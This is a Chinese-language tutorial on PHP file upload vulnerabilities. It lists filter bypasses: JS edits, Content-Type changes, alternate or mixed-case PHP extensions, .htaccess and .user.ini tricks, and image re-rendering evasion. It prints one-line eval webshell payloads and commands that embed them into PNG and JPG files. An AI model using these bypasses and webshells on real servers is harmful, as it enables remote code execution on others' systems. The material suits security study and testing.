文件上传漏洞
文件上传函数
PHP中 使用 move_uploaded_file()函数来上传文件,该函数的语法格式如下:
1 | bool move_uploaded_file ( string ``$filename` `, string ``$destination` `) |
move_uploaded_file()函数是将上传文件储存到指定位置。如果成功,那么就会返回true,否则返回false。 参数 filename是上传文件的临时文件名,就是$S_FILES[tem_name];参数 destination 是上传后保存的新的路径和名称。
前端js绕过
修改js 或 使用burpsuite 修改上传名
或是使用sources调试 ,修改js
操作方式:
找到过滤的js代码, 将整个函数复制粘贴并修改, 在consles控制台回车即可
服务器对MIME信息检测
修改Content-Type
1 | image/jpeg image/png image/gif |
后缀黑名单过滤
修改为 其他不常见后缀名 , 或利用大小写绕过
1 | ".php5",".php4",".php3",".php2",".php1",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1" |
- 上传不常见的PHP扩展名来绕过黑名单
1 | pht, phpt, phtml, php3, php4, php5, php6,php7 |
- 大小写绕过
1 | pHp, Php, phP |
配置文件解析绕过
Apache: 通过上传.htaccess文件使得.jpg等后缀文件被php解析
1 | AddType application/x-httpd-php .jpg |
1 | <FilesMatch "s.jpg"> |
Nignx:
1 | user.ini内容为:auto_prepend_file=12.jpg //在页面顶部加载文件 |
注意事项:user.ini文件一段时间后生效(5分钟左右)
条件竞争
二次渲染
二次渲染, 参照国光大佬博客的 文件上传总结
imagecreatefrom
系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的
GIF
渲染前后的两张 GIF,没有发生变化的空白数据部分直接插入Webshell
即可
制作好的图片马 , <?php eval($_REQUEST[1]);?>
PNG
PNG 可以将数据写入到 PLTE 数据块 或者 IDAT 数据块
PLTE 数据块
关于实现细节以前乌云知识库的一篇文章写的很详细,感兴趣的朋友可以阅读看看:
WooYun 乌云 - php imagecreatefrom* 系列函数之 png
写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的,实验证明只有索引图像才可以成功插入 payload,灰度和真彩色图像均以失败告终。
修改索引图像插入 PHP 代码的脚本项目地址为:Github - poc_png.py
因为值有索引图像的 PNG 才可能插入 PLTE 数据块,但是我们上面准备的 PNG 并不符合要求,得需要在 PS 里面将图片模式修改为索引颜色
1 | python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png |
IDAT 数据块
写入IDAT数据 进行绕过, 脚本如下:
1 |
|
JPG
在 github 很容易就能找到这样的项目
项目地址:Github - lackFan/jpg_payload
准备一个 jpg 图片:
建议在Linux 下环境运行, windows 下容易报错, 且需要 开启一个拓展
1 | php jpg_payload.php 1.jpg |
得到新图片, payload: <?php @eval($_POST[1])?>
未完待续…..